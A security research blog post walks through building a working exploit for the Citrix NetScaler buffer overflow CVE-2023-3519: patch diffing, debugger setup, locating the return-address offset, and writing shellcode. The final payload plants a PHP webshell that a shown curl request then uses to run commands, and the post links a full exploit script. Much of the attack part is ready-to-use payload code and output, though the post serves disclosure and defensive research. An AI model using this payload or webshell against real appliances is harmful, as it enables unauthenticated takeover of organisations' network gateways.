Introduction
A lot has been written about the recent Citrix NetScaler buffer overflow. In the initial rush to get information and platform checks out to customers, some details may not have been fully explained. In this post we hope to rectify that by detailing the full process from the initial announcement to a working exploit.
For a brief background on the vulnerability, on July 18 2023 Citrix announced an unauthenticated remote code execution vulnerability in Citrix ADC and Citrix Gateway. No details or IOCs were provided and we began reversing the patch to determine if it was applicable for our platform. Our previous analyses are available here and here.
We have added a python script demonstrating our exploit for version 13.1-48.47 of Citrix Netscaler to GitHub: https://github.com/assetnote/exploits/tree/main/citrix/CVE-2023-3519. Some tweaks are required for other versions, but we leave that as an exercise for the reader.
Patch Diffing
We started by downloading and configuring the two most recent versions of Citrix NetScaler, which were 13.1-48.47 and 13.1-49.13. From some of our previous work we knew that the Citrix Gateway component was handled by the /netscaler/nsppe binary. This is the NetScaler Packet Processing Engine (nsppe) and it implements a complete network stack along with multiple HTTP services. We took the patched (49.13) and unpatched (48.47) versions of these binaries and decompiled them with Ghidra. Because the binary is so large we had to tweak some of the Ghidra decompilation settings to ensure success.
We bumped up the decompiler resources under Edit -> Tool Options -> Decompiler to the following.
Cache Size (Functions): 2048Decompiler Max-Payload (Mbytes): 512Decompiler Timeout (seconds): 900Max Instructions per Function: 3000000After decompiling each binary, we generated a BinDiff file for each one with the BinExport Ghidra extension. These were then compared in BinDiff and we started looking at each function that had detected changes. For most of these functions, rather than compare them directly in BinDiff we took the decompiled code for the functions from Ghidra and compared them textually.
The first notable function we found was ns_aaa_saml_parse_authn_request, which unfortunately turned out to be a red herring. While the patch did include a fix for a memory corruption vulnerability in this function, there was no immediately obvious way to pivot it to remote code execution. No CVE has been raised for the potential denial of service that is possible as a result of this vulnerability.
We kept looking, comparing each function identified by BinDiff until we came across ns_aaa_gwtest_get_event_and_target_names. We saw what looked like an additional length check in the patched version of the code.
if (iVar3 + 1 == iVar7 + -6) {
iVar3 = ns_aaa_saml_url_decode(pcVar1,param_2);
pcVar8 = local_38;
if (iVar3 == 0) {
uVar9 = 0x16000c;
} else {
*(undefined *)(param_2 + iVar3) = 0;
uVar9 = 0;
}
}
if ((iVar3 + 1 == uVar8 - 6) && (uVar9 = 0x160010, iVar3 < 0x80)) {
iVar3 = ns_aaa_saml_url_decode(pcVar1,param_2,iVar3);
pcVar7 = local_38;
if (iVar3 == 0) {
uVar9 = 0x16000c;
} else {
*(undefined *)(param_2 + iVar3) = 0;
uVar9 = 0;
}
}
We traced the calls to ns_aaa_gwtest_get_event_and_target_names with Ghidra to ns_aaa_gwtest_handler which contained the second part of the URL, /formssso.
if (uVar7 != 0x6d726f66) {
return 0x20;
}
if ((*puVar1 | 0x2020202020202020) != 0x6f7373736d726f66) {
return 0x20;
}
if ((*(byte *)(lVar2 + 0x10) | 0x20) != 0x3f) {
return 0x20;
}
lVar5 = ns_aaa_gwtest_get_valid_fsso_server(param_2);
if (lVar5 == 0) {
return 0xf43;
}
Looking a bit further back in the call graph we found ns_aaa_gwtest_handler was called by ns_vpn_process_unauthenticated_request. Here we found the first part of the URL, /gwtest/.
if ((*puVar5 | 0x2020202020202020) == 0x2f7473657477672f) goto code_r0x00743e2d;
...
code_r0x00743e2d:
if ((ns_async_ctx != 0) && (*(int *)(ns_async_ctx + 0x6c + (ulong)ns_async_callers_context_size) != 0x28c)) {
panic("Async context ID does not match expected context ID NS_ASYNC_CTX_AAA_UNAUTH_GWTEST");
}
ns_async_callers_context_size = ns_async_callers_context_size + 0xc0;
if (ns_async_ctx != 0) {
if (*(int *)(ns_async_ctx + 8) != -0x5310ff3) goto LAB_0075c646;
if ((ns_async_callers_context_size < *(uint *)(ns_async_ctx + 0x68)) &&
(0x610 < *(int *)(ns_async_ctx + 0x6c + (ulong)ns_async_callers_context_size) - 0xacU)) {
goto LAB_00745ba5;
}
}
iVar14 = ns_aaa_gwtest_handler(local_58,local_50,0,local_80,0);
We now had the endpoint, /gwtest/formssso, but didn’t know how to call it. To do this we looked at the Ghidra output for ns_aaa_gwtest_get_event_and_target_names. We found that it expected an event query parameter which needed to have a value of either start or done. It then checked for a target query parameter and passed the value to the vulnerable ns_aaa_saml_url_decode function. A cut-down version of this function is included below.
undefined8 ns_aaa_gwtest_get_event_and_target_names(long param_1,long param_2,uint *param_3)
{
iVar3 = strncmp("event=",local_38,6);
if (iVar3 == 0) {
iVar3 = strncmp((char *)(lVar6 + 0x17),"start&",6);
if (iVar3 != 0) {
iVar3 = strncmp((char *)(lVar6 + 0x17),"done&",5);
}
__s2 = (char *)(lVar6 + lVar5);
iVar3 = strncmp("target=",__s2,7);
if (iVar3 == 0) {
pcVar1 = __s2 + 7;
iVar3 = ns_aaa_saml_url_decode(pcVar1,param_2);
}
}
}
We sent through the following request and caused a server crash. The next step was to figure out a way to understand the crash without getting too frustrated at the lack of tooling.
$ curl -k 'https://192.168.1.225/gwtest/formssso?event=start&target=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
Debugging Citrix NetScaler
The biggest problem was that the nsppe binary we were trying to analyse is also responsible for all network traffic in and out of the VM. If we attach a debugger while in an SSH session the connection is immediately severed. This meant we had to do everything in the VM console window, which was small, didn’t support copy / paste and was occasionally spammed with log messages from other processes. It also meant we couldn’t use any GDB plugins like PEDA to aid exploit development.
Luckily for us, the VM included a copy of GDB and GDBServer. Normally GDBServer is used over TCP, however it also supports serial devices. We added a virtual serial device to our VM and tested it out. Sending data over the new serial device worked without issue.
However, when it came to GDB and GDBServer the connection would never work. We suspected it had something to do with the file not being a “serial device” on the MacOS side of the connection. There was no option in the GUI for VMware Fusion to configure the device any other way. But, we found we could edit the .vmx file and changed the serial device to the following.
serial0.fileType = "network"
serial0.fileName = "telnet://:12345"
serial0.present = "TRUE"
With this setup VMware listened on tcp port 12345 on the host and forwarded the connection to the serial device in the VM. We could now get a full debugging session working with GDB running locally with PEDA installed.
The first step was suspending the pitboss monitoring process. This process automatically restarted nsppe if it detected it not responding. To suspend pitboss we attached to it with GDB and just left in the background.
root@ns# gdb -p 27 &
[1] 996
root@ns# GNU gdb (GDB) 10.1
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-unknown-freebsd11.4".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word".
Attaching to process 27
Reading symbols from /netscaler/pitboss...
(No debugging symbols found in /netscaler/pitboss)
Reading symbols from /usr/lib32/libnsapps.so...
(No debugging symbols found in /usr/lib32/libnsapps.so)
Reading symbols from /usr/lib32/libc.so.7...
(No debugging symbols found in /usr/lib32/libc.so.7)
Reading symbols from /usr/lib32/libcrypto.so.8...
(No debugging symbols found in /usr/lib32/libcrypto.so.8)
Reading symbols from /usr/lib32/libssl.so.8...
(No debugging symbols found in /usr/lib32/libssl.so.8)
Reading symbols from /usr/lib32/libm.so.5...
(No debugging symbols found in /usr/lib32/libm.so.5)
Reading symbols from /libexec/ld-elf32.so.1...
(No debugging symbols found in /libexec/ld-elf32.so.1)
[Switching to LWP 100136 of process 27]
0x28414763 in _kevent () from /usr/lib32/libc.so.7
[1]+ Stopped gdb -p 27
We were then free to start debugging with GDBServer. We used the serial device /dev/cuau0 as the transport and attached to nsppe.
root@ns# gdbserver /dev/cuau0 --attach 453
On the host side we ran GDB, loaded in the nsppe binary and called target remote 127.0.0.1:12345 to connect to GDBServer.
$ gdb
For help, type "help".
Type "apropos word" to search for commands related to "word".
gdb-peda$ file ./unpatched/nsppe
Reading symbols from ./unpatched/nsppe...
(No debugging symbols found in ./unpatched/nsppe)
gdb-peda$ target remote 127.0.0.1:12345
Remote debugging using 127.0.0.1:12345
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x117802860 --> 0x0
RCX: 0x114c11000 --> 0x10a865b80 --> 0x11aaaaaa
RDX: 0xda
RSI: 0xfd
RDI: 0x114c4ecc0 --> 0x0
RBP: 0x7fffffffe8e0 --> 0x7fffffffe940 --> 0x7fffffffe970 --> 0x7fffffffe9a0 --> 0x7fffffffe9b0 --> 0x7fffffffe9e0 (--> ...)
RSP: 0x7fffffffe8c0 --> 0x0
RIP: 0x1e418c6 --> 0x4d30c383483b8b4c
R8 : 0x803962000 --> 0x0
R9 : 0x1f46a
R10: 0x1
R11: 0x119204000 --> 0xfa00
R12: 0x93dc568
R13: 0x2c93000 (0x0000000002c93000)
R14: 0x1
R15: 0x114c4ecc0 --> 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x1e418c0 <vc_idle_poll+64>: test eax,eax
0x1e418c2 <vc_idle_poll+66>: jne 0x1e418d5 <vc_idle_poll+85>
0x1e418c4 <vc_idle_poll+68>: pause
=> 0x1e418c6 <vc_idle_poll+70>: mov r15,QWORD PTR [rbx]
0x1e418c9 <vc_idle_poll+73>: add rbx,0x30
0x1e418cd <vc_idle_poll+77>: test r15,r15
0x1e418d0 <vc_idle_poll+80>: jne 0x1e418b0 <vc_idle_poll+48>
0x1e418d2 <vc_idle_poll+82>: xor r14d,r14d
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe8c0 --> 0x0
0008| 0x7fffffffe8c8 --> 0x0
0016| 0x7fffffffe8d0 --> 0x93dc568
0024| 0x7fffffffe8d8 --> 0x8000000000000000
0032| 0x7fffffffe8e0 --> 0x7fffffffe940 --> 0x7fffffffe970 --> 0x7fffffffe9a0 --> 0x7fffffffe9b0 --> 0x7fffffffe9e0 (--> ...)
0040| 0x7fffffffe8e8 --> 0x15c3f89 --> 0x467850fc085
0048| 0x7fffffffe8f0 --> 0x7fffffffe920 --> 0x0
0056| 0x7fffffffe8f8 --> 0xf668e5 --> 0x1be41c085
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSTOP
0x0000000001e418c6 in vc_idle_poll ()
Although the setup was not perfect, there were still occasionally issues where single-stepping instructions at certain locations caused the program to behave differently. This was still much better than the tiny console window.
Dissecting the Crash
We set a breakpoint on ns_aaa_gwtest_get_valid_fsso_server and sent through the payload. We stepped through the function call up to where it called the vulnerable function ns_aaa_gwtest_get_event_and_target_names.
0xc7fa7c <ns_aaa_gwtest_get_valid_fsso_server+60>: mov DWORD PTR [rbp-0xc],0x0
0xc7fa83 <ns_aaa_gwtest_get_valid_fsso_server+67>: lea rsi,[rbp-0xa0]
0xc7fa8a <ns_aaa_gwtest_get_valid_fsso_server+74>: lea rdx,[rbp-0x1c]
=> 0xc7fa8e <ns_aaa_gwtest_get_valid_fsso_server+78>: call 0xc82bb0 <ns_aaa_gwtest_get_event_and_target_names>
0xc7fa93 <ns_aaa_gwtest_get_valid_fsso_server+83>: test eax,eax
0xc7fa95 <ns_aaa_gwtest_get_valid_fsso_server+85>: je 0xc7fa9b <ns_aaa_gwtest_get_valid_fsso_server+91>
0xc7fa97 <ns_aaa_gwtest_get_valid_fsso_server+87>: xor ebx,ebx
0xc7fa99 <ns_aaa_gwtest_get_valid_fsso_server+89>: jmp 0xc7fac7 <ns_aaa_gwtest_get_valid_fsso_server+135>
Stepping over this call frequently resulted in unrelated errors. To fix this we set a breakpoint just after the call at 0xc7fa93 instead. When we ran the exploit again we saw a corrupted call stack but the application had not yet crashed. This can be seen in the snippet below, the backtrace command shows the call stack was filled with 0x41, the A character we used in the payload.
[-------------------------------------code-------------------------------------]
0xc7fa83 <ns_aaa_gwtest_get_valid_fsso_server+67>: lea rsi,[rbp-0xa0]
0xc7fa8a <ns_aaa_gwtest_get_valid_fsso_server+74>: lea rdx,[rbp-0x1c]
0xc7fa8e <ns_aaa_gwtest_get_valid_fsso_server+78>: call 0xc82bb0 <ns_aaa_gwtest_get_event_and_target_names>
=> 0xc7fa93 <ns_aaa_gwtest_get_valid_fsso_server+83>: test eax,eax
0xc7fa95 <ns_aaa_gwtest_get_valid_fsso_server+85>: je 0xc7fa9b <ns_aaa_gwtest_get_valid_fsso_server+91>
0xc7fa97 <ns_aaa_gwtest_get_valid_fsso_server+87>: xor ebx,ebx
0xc7fa99 <ns_aaa_gwtest_get_valid_fsso_server+89>: jmp 0xc7fac7 <ns_aaa_gwtest_get_valid_fsso_server+135>
0xc7fa9b <ns_aaa_gwtest_get_valid_fsso_server+91>: lea rbx,[rbp-0xa0]
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffc120 --> 0x0
0008| 0x7fffffffc128 --> 0x0
0016| 0x7fffffffc130 ('A' <repeats 200 times>...)
0024| 0x7fffffffc138 ('A' <repeats 192 times>, " ")
0032| 0x7fffffffc140 ('A' <repeats 184 times>, " ")
0040| 0x7fffffffc148 ('A' <repeats 176 times>, " ")
0048| 0x7fffffffc150 ('A' <repeats 168 times>, " ")
0056| 0x7fffffffc158 ('A' <repeats 160 times>, " ")
[------------------------------------------------------------------------------]
gdb-peda$ backtrace
#0 0x0000000000c7fa93 in ns_aaa_gwtest_get_valid_fsso_server ()
#1 0x4141414141414141 in ?? ()
#2 0x4141414141414141 in ?? ()
#3 0x4141414141414141 in ?? ()
#4 0x4141414141414141 in ?? ()
#5 0x00000000034a0020 in ns_cvm_cardInBulkQHead ()
#6 0x0000000000000000 in ?? ()
We knew the new length check was 128 bytes in the patched version, so we updated the payload with multiples of B, C, D towards the suspected end of the buffer. Our goal was to find how much space we had to fill before overwriting a return address. A less haphazard approach such as a binary search may have been quicker here, but we had good visibility and the addresses did not change between runs. Eventually we ran the payload 'A' * 160 + 'B' * 8 + 'C' * 8 + 'D' * 8 and saw 0x4343434343434343 (the 8 C bytes) filled the return address. This can be seen below.
Breakpoint 3, 0x0000000000c7fa93 in ns_aaa_gwtest_get_valid_fsso_server ()
gdb-peda$ backtrace
#0 0x0000000000c7fa93 in ns_aaa_gwtest_get_valid_fsso_server ()
#1 0x4343434343434343 in ?? ()
#2 0x4444444444444444 in ?? ()
#3 0x00000000034a0020 in ns_cvm_cardInBulkQHead ()
#4 0x0000000002f75a01 in ns_default_partition ()
#5 0x00000000034ab320 in ?? ()
#6 0x0000000000000000 in ?? ()
This meant we had a buffer of 168 bytes, followed by the address we wanted to return to. Since the stack is marked as executable, we decided to jump to the start of the buffer at 0x7fffffffc130. We put together the following payload, four nop instructions for the shellcode, the return address and the rest padded to fill up to 168 bytes.
shellcode = b'\x90\x90\x90\x90'
return_address = b'\x30\xc1\xff\xff\xff\x7f\x00\x00'
padding = b'A' * (168 - len(shellcode))
payload = shellcode + padding + return_address
Attempts were made to URL encode all bytes, but we would later learn that there is a bug in the URL decoding which affects bytes greater than 0xa0. We chose to only URL encode a few characters, adding troublesome bytes to a list as we encountered them. We ran the exploit, and continued execution from the breakpoint until the end of the function. Upon returning we found execution neatly at the start of the four nop instructions.
Breakpoint 3, 0x0000000000c7fa93 in ns_aaa_gwtest_get_valid_fsso_server ()
gdb-peda$ finish
Run till exit from #0 0x0000000000c7fa93 in ns_aaa_gwtest_get_valid_fsso_server ()
[-------------------------------------code-------------------------------------]
0x7fffffffc12a: add BYTE PTR [rax],al
0x7fffffffc12c: add BYTE PTR [rax],al
0x7fffffffc12e: add BYTE PTR [rax],al
=> 0x7fffffffc130: nop
0x7fffffffc131: nop
0x7fffffffc132: nop
0x7fffffffc133: nop
0x7fffffffc134: rex.B
Exiting Cleanly
In order to add a check for this vulnerability to our platform, the exploit has to execute without interrupting the service. We needed some shellcode that would clean up after the exploit and enable the application to continue normal operation. To do this we set a breakpoint at ns_aaa_gwtest_get_valid_fsso_server and inspected the call stack before the overflow was triggered. This would help us understand where execution would continue from under normal circumstances.
Breakpoint 4, 0x0000000000c7fa44 in ns_aaa_gwtest_get_valid_fsso_server ()
gdb-peda$ backtrace
#0 0x0000000000c7fa44 in ns_aaa_gwtest_get_valid_fsso_server ()
#1 0x0000000000c7f4b2 in ns_aaa_gwtest_handler ()
#2 0x0000000000743e6d in ns_vpn_process_unauthenticated_request ()
#3 0x000000000078245b in ns_aaa_cookie_valid ()
#4 0x00000000007923c3 in ns_aaa_client_handler ()
#5 0x0000000001e14f89 in nshttp_handler ()
#6 0x000000000113aa27 in nsssl_handlePkt ()
#7 0x00000000014e524d in ns_sslSendHTTPDataPkts ()
#8 0x00000000014e6d5e in ssl3_accept ()
#9 0x00000000014d34f5 in SSL_input ()
#10 0x000000000113a7cc in nsssl_handler ()
#11 0x000000000113a412 in nsssl_generic_handler ()
#12 0x0000000001e5aeb0 in nstcp_input ()
#13 0x0000000001e4bc5a in handleL4Session ()
#14 0x0000000001e48c21 in dispatch_tcp ()
#15 0x0000000001e41e6c in nic_rx_flush_pipeline ()
#16 0x0000000001e41c09 in vc_poll ()
#17 0x00000000015c858f in ns_netio ()
#18 0x00000000015c8422 in packet_engine ()
#19 0x0000000001a5ffb5 in ns_enter_main ()
#20 0x0000000001a643dd in main ()
#21 0x00000000004002db in _start ()
We continued execution and stopped when we reached the shellcode. At this point we looked at the 20 64-bit words from the top of the stack to see if any matched the return addresses we saw in the previous backtrace. At 0x7fffffffc210 we saw the pushed rbp value followed by the return address of ns_vpn_process_unauthenticated_request.
0x00007fffffffc130 in ?? ()
gdb-peda$ x/20g $rsp
0x7fffffffc1e0: 0x0000000000000020 0x00000000034ab344
0x7fffffffc1f0: 0x0000000002f75a01 0x00000000034ab320
0x7fffffffc200: 0x0000000000000000 0x0000000000000001
0x7fffffffc210: 0x00007fffffffd430 0x0000000000743e6d <-- matches ns_vpn_process_unauthenticated_request
0x7fffffffc220: 0x00007fffffffc270 0x0000000001dda811
0x7fffffffc230: 0x00007fffffffc280 0x0000000001dda811
0x7fffffffc240: 0x00007fffffffc4a8 0x0000000000007fff
0x7fffffffc250: 0x00007fffffffc6b8 0x0000000000007fff
0x7fffffffc260: 0x0000000000000005 0x000000000234bd3e
0x7fffffffc270: 0x0000000000007fff 0x0000000000000000
Subtracting the current rsp value (0x7fffffffc1e0) from the target rsp value (0x7fffffffc210), gave us a difference of 0x30. We then added the following assembly instruction to the shellcode. This would increment the stack pointer, pop the stored base pointer and then continue execution of ns_vpn_process_unauthenticated_request.
shellcode += b'\x48\x83\xC4\x30' # add rsp, 0x30
shellcode += b'\x5d' # pop rbp
shellcode += b'\xc3' # ret
We ran the new exploit, stepped through the shellcode right up until the ret instruction and looked at the call stack. As you can see below, everything looked good. At this stage we were able to run the exploit repeatedly without interrupting the service.
[-------------------------------------code-------------------------------------]
0x7fffffffc12f: add BYTE PTR [rax+0x48909090],dl
0x7fffffffc135: add esp,0x30
0x7fffffffc138: pop rbp
=> 0x7fffffffc139: ret
0x7fffffffc13a: rex.B
0x7fffffffc13b: rex.B
0x7fffffffc13c: rex.B
0x7fffffffc13d: rex.B
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00007fffffffc139 in ?? ()
gdb-peda$ backtrace
#0 0x00007fffffffc139 in ?? ()
#1 0x0000000000743e6d in ns_vpn_process_unauthenticated_request ()
#2 0x000000000078245b in ns_aaa_cookie_valid ()
#3 0x00000000007923c3 in ns_aaa_client_handler ()
#4 0x0000000001e14f89 in nshttp_handler ()
#5 0x000000000113aa27 in nsssl_handlePkt ()
#6 0x00000000014e524d in ns_sslSendHTTPDataPkts ()
#7 0x00000000014e6d5e in ssl3_accept ()
#8 0x00000000014d34f5 in SSL_input ()
#9 0x000000000113a7cc in nsssl_handler ()
#10 0x000000000113a412 in nsssl_generic_handler ()
#11 0x0000000001e5aeb0 in nstcp_input ()
#12 0x0000000001e4bc5a in handleL4Session ()
#13 0x0000000001e48c21 in dispatch_tcp ()
#14 0x0000000001e41e6c in nic_rx_flush_pipeline ()
#15 0x0000000001e41c09 in vc_poll ()
#16 0x00000000015c858f in ns_netio ()
#17 0x00000000015c8422 in packet_engine ()
#18 0x0000000001a5ffb5 in ns_enter_main ()
#19 0x0000000001a643dd in main ()
#20 0x00000000004002db in _start ()
Writing an Exploit
We now had a reliable starting point, all we had to do was write shellcode that would execute arbitrary commands. The approach we settled on was to write a small webshell to a file and then call that with a separate request. To do this we modified the payload to start with the filename and file contents. We also had to update the return address to land after this point in the buffer. We now had the following shellcode.
shellcode = b''
shellcode += b'/var/vpn/theme/x.php\x00' # 21 bytes
shellcode += b'<?php+system($_GET[0]);+?>\x00' # 27 bytes
shellcode += b'\x48\x83\xC4\x30' # add rsp, 0x30
shellcode += b'\x5d' # pop rbp
shellcode += b'\xc3'
Unfortunately, when we looked at the buffer, a null byte had been inserted midway through.
gdb-peda$ x/3s 0x7fffffffc130
0x7fffffffc130: "/var/vpn/theme/x.php"
0x7fffffffc145: "<?php system"
0x7fffffffc152: "$_GET[0]); ?>"
To fix this we added some padding, the last of which would be converted to a null byte. The shellcode was now the following.
shellcode = b''
shellcode += b'/var/vpn/theme/x.php\x00' # 21 bytes
shellcode += b'AAAAAAAAAAAAA' # 13 bytes
shellcode += b'<?php+system($_GET[0]);+?>\x00' # 27 bytes
shellcode += b'\x48\x83\xC4\x30' # add rsp, 0x30
shellcode += b'\x5d' # pop rbp
shellcode += b'\xc3'
The first stage of the exploit would be making the open syscall to get a file descriptor. Since NetScaler is based on FreeBSD we would be using the x64 System V ABI calling convention. The first three arguments to the call would be in registers rdi, rsi and rdx. The syscall number would be in rax and it would be triggered via the syscall instruction.
To begin we copy rsp to rdi and then subtract 0xb0 so that it points to the start of /var/vpn/theme/x.php.
shellcode += b'\x48\x89\xe7' # mov rdi, rsp
shellcode += b'\x48\x81\xef\xb0\x00\x00\x00' # sub rdi, 0xb0
Next we needed to set the flags argument, we wanted O_CREAT | O_WRONLY to create the file and open it for writing. A small gotcha when looking up these constants is to ensure you get the FreeBSD values and not the Linux ones. On Linux O_CREAT is 0x100, but on FreeBSD it is 0x200.
shellcode += b'\xbe\x01\x02\x00\x00' # mov esi, 0x201
For the final argument, we set the mode to 0x1ff which corresponds to a 777 file mode.
shellcode += b'\xba\xff\x01\x00\x00' # mov edx, 0x1ff=
Lastly, we set the rax register to the open syscall number, which on FreeBSD is 5. We could then execute the syscall.
shellcode += b'\xb8\x05\x00\x00\x00' # mov eax, 0x5
shellcode += b'\x0f\x05' # syscall
Next we needed to make a write syscall. Since rax should hold the file descriptor returned from the open syscall, we copied that to the rdi register. We then did the same rsp trick as before to get a pointer to the file contents into the rsi register. And lastly, we put the file size in bytes (0x1a) into the rdx register.
shellcode += b'\x48\x89\xc7' # mov rdi, rax
shellcode += b'\x48\x89\xe6' # mov rsi, rsp
shellcode += b'\x48\x81\xee\x8e\x00\x00\x00' # sub rsi, 0x8e
shellcode += b'\xba\x1a\x00\x00\x00' # mov edx, 0x1a
shellcode += b'\xb8\x04\x00\x00\x00' # mov eax, 0x4
shellcode += b'\x0f\x05' # syscall
Next we made a close syscall. The first and only argument was in rdi and is the file descriptor which was unchanged from the previous call. So all we needed to do was set the rax register and execute the syscall instruction.
shellcode += b'\xb8\x06\x00\x00\x00' # mov rax, 0x6
shellcode += b'\x0f\x05' # syscall
At this stage, we now had the full payload which is shown below.
shellcode = b''
shellcode += b'/var/vpn/theme/x.php\x00' # 21 bytes
shellcode += b'AAAAAAAAAAAAA' # 13 bytes
shellcode += b'<?php+system($_GET[0]);+?>\x00' # 27 bytes
# open syscall
shellcode += b'\x48\x89\xe7' # mov rdi, rsp
shellcode += b'\x48\x81\xef\xb0\x00\x00\x00' # sub rdi, 0xb0
shellcode += b'\xbe\x01\x02\x00\x00' # mov esi, 0x201
shellcode += b'\xba\xff\x01\x00\x00' # mov edx, 0x1ff
shellcode += b'\xb8\x05\x00\x00\x00' # mov eax, 0x5
shellcode += b'\x0f\x05' # syscall
# write syscall
shellcode += b'\x48\x89\xc7' # mov rdi, rax
shellcode += b'\x48\x89\xe6' # mov rsi, rsp
shellcode += b'\x48\x81\xee\x8e\x00\x00\x00' # sub rsi, 0x8e
shellcode += b'\xba\x1a\x00\x00\x00' # mov edx, 0x1a
shellcode += b'\xb8\x04\x00\x00\x00' # mov eax, 0x4
shellcode += b'\x0f\x05' # syscall
# close syscall
shellcode += b'\xb8\x06\x00\x00\x00' # mov rax, 0x6
shellcode += b'\x0f\x05' # syscall
# cleanup
shellcode += b'\x48\x83\xC4\x30' # add rsp, 0x30
shellcode += b'\x5d' # pop rbp
shellcode += b'\xc3' # ret
shellcode_encoded = tweaked_url_encode(shellcode)
return_address = b'\x6d\xc1\xff\xff\xff\x7f\x00\x00'
return_address_encoded = tweaked_url_encode(return_address)
padding = b'A' * (168 - len(shellcode))
payload = shellcode_encoded + padding + return_address_encoded
After executing this we could call the webshell as follows.
$ curl -kv 'https://192.168.1.225/vpn/theme/x.php?0=uname%20-a'
FreeBSD ns 11.4-NETSCALER-13.1 FreeBSD 11.4-NETSCALER-13.1 #0 2596b10c4(rs_131_48_41_RTM): Sat Jun 3 00:57:48 PDT 2023 root@sjc-bld-bsd114-232:/usr/obj/usr/home/build/adc/usr.src/sys/NS64 amd6
Note that the response from this is cached by NetScaler, the only way we could find to clear the cache was a restart or by also running /netscaler/nsapimgr_wr.sh -ys call=ns_ic_flush. A bit more work would be required to make this work in one shot, but for the purpose of proving exploitability this was all we needed.
Final Thoughts
In this post we saw an almost textbook example of a stack-based buffer overflow. The initial flaw was an unbounded copy, but this was exacerbated by having no other mitigations. The stack was executable, address space was not randomised, there were no stack canaries and the Gateway application is bundled with the network stack rather than in a separate process with less privileges. With no special configuration required and the popularity of this appliance this vulnerability has had a huge impact.
We also saw the importance of good tooling. Our previous research on Citrix Gateway was definitely slowed by not having a decent debugging setup. And even in this case, where we had everything setup, the 30+ second restart time between crashes was a big dampener on how fast we could develop the exploit.
As always, customers of our Attack Surface Management platform have been notified for the presence of this vulnerability. We continue to perform original security research in an effort to inform our customers about zero-day and N-day vulnerabilities in their attack surface.
